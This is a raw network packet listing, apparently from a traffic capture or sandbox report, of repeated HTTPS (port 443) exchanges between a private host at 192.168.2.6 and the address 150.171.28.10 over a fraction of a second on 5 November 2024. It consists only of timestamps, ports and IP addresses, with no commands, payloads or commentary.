Nov 5, 2024 20:50:54.825912952 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.924607992 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.924634933 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.924722910 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.924732924 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.924776077 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.925055981 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.925079107 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.925122976 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.925128937 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.925138950 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.925163984 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.925405025 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.925421953 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.925481081 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.925486088 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.925545931 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.925838947 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.925853968 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.925909996 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.925915003 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.925956964 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.926599979 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.926620007 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.926683903 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.926698923 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.926739931 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.926978111 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.926992893 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.927047968 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.927056074 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.927057028 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.927077055 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.927118063 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.927125931 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.927139044 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.927140951 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.927167892 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.927247047 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.927263021 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.927294970 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.927301884 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.927336931 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.927345991 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.927700043 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.927721977 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.927769899 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.927783012 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.927805901 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.927850962 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.927968979 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.927988052 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.928036928 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.928044081 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.928082943 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.928113937 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.928133011 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.928185940 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.928194046 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.928231955 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.928886890 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.928906918 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.928966045 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.928973913 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.929013014 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.929039955 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.929056883 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.929085016 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.929090977 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.929115057 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.929136992 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.929733992 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.929749966 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.929807901 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.929819107 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.929855108 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.929934025 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.929949999 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.929995060 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.930001020 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.930022955 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.930041075 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.930706978 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.930727005 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.930790901 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.930798054 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.930805922 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.930813074 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.930819988 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.930830002 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.930839062 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.930910110 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.930912018 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.930917025 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.930919886 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.930958986 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.930959940 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.945705891 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.945723057 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.945801020 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.945811987 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.945852995 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.946283102 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.946306944 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.946338892 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.946345091 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.946371078 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.946378946 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.947010040 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.947026014 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.947086096 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.947091103 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.947128057 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.947561026 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.947577000 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.947633028 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.947639942 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.947674036 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.993716955 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.993740082 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.993959904 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.993969917 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.994016886 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.032742977 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.032761097 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.032859087 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.032871962 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.032898903 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.032917023 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.033204079 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.033217907 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.033255100 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.033257961 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.033291101 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.033299923 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.034117937 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.034137964 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.034188032 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.034190893 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.034200907 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.034216881 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.034221888 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.034260035 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.034264088 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.034274101 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.034296989 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.034571886 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.034584999 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.034640074 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.034645081 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.034677029 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.045103073 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.045121908 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.045209885 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.045228004 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.045268059 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.045439005 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.045454025 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.045506954 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.045515060 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.045555115 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.047578096 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.047594070 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.047668934 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.047677994 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.047729015 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.047840118 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.047853947 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.047909021 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.047916889 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.047954082 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.048476934 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.048502922 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.048546076 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.048553944 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.048579931 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.048599958 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.051085949 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.051103115 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.051155090 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.051163912 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.051173925 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.051202059 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.051208973 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.051234961 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.051239967 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.051279068 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.051400900 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.051415920 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.051429033 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.051435947 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.051456928 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.051489115 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.051680088 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.051697016 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.051729918 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.051736116 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.051759958 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.051784992 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.051991940 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.052012920 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.052053928 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.052062035 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.052073002 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.052083015 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.052095890 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.052099943 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.052115917 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.052129030 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.052149057 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.052155018 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.052181005 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.052210093 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.052726984 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.052742958 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.052789927 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.052797079 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.052850008 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.053615093 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.053638935 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.053699970 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.053708076 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.053751945 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.068298101 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.068315029 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.068387032 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.068399906 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.068439960 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.068849087 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.068865061 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.068908930 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.068917036 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.068937063 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.068953037 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.070084095 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.070100069 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.070152044 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.070157051 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.070189953 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.151164055 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.151180029 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.151359081 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.151365995 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.151407003 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.151436090 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.151448965 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.151494026 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.151498079 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.151535034 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.152437925 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.152451992 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.152519941 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.152523994 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.152563095 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.152757883 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.152771950 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.152815104 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.152820110 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.152846098 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.152865887 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.158303022 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.158318043 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.158399105 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.158410072 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.158457041 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.158741951 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.158755064 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.158806086 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.158816099 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.158850908 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.159205914 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.159226894 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.159271002 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.159277916 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.159300089 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.159331083 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.159774065 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.159789085 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.159851074 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.159857988 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.159897089 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.160356998 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.160386086 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.160425901 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.160433054 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.160455942 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.160479069 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.160851955 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.160865068 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.160902023 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.160921097 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.160940886 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.160948992 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.160988092 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.160995007 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.161011934 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.161036968 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.161395073 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.161417961 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.161480904 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.161489010 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.161530018 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.161782026 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.161798954 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.161801100 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.161820889 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.161839962 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.161845922 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.161900997 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.161904097 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.161910057 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.161950111 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.162478924 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.162494898 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.162554979 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.162563086 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.162599087 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.162915945 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.162931919 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.162981033 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.162987947 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.163028002 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.189331055 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.189347029 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.189395905 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.189404011 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.189426899 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.189445019 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.190052032 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.190069914 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.190098047 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.190103054 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.190155029 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.190546036 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.190562010 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.190610886 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.190617085 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.190663099 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.190826893 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.190844059 CET	443	49720	150.171.28.10	192.168.2.6
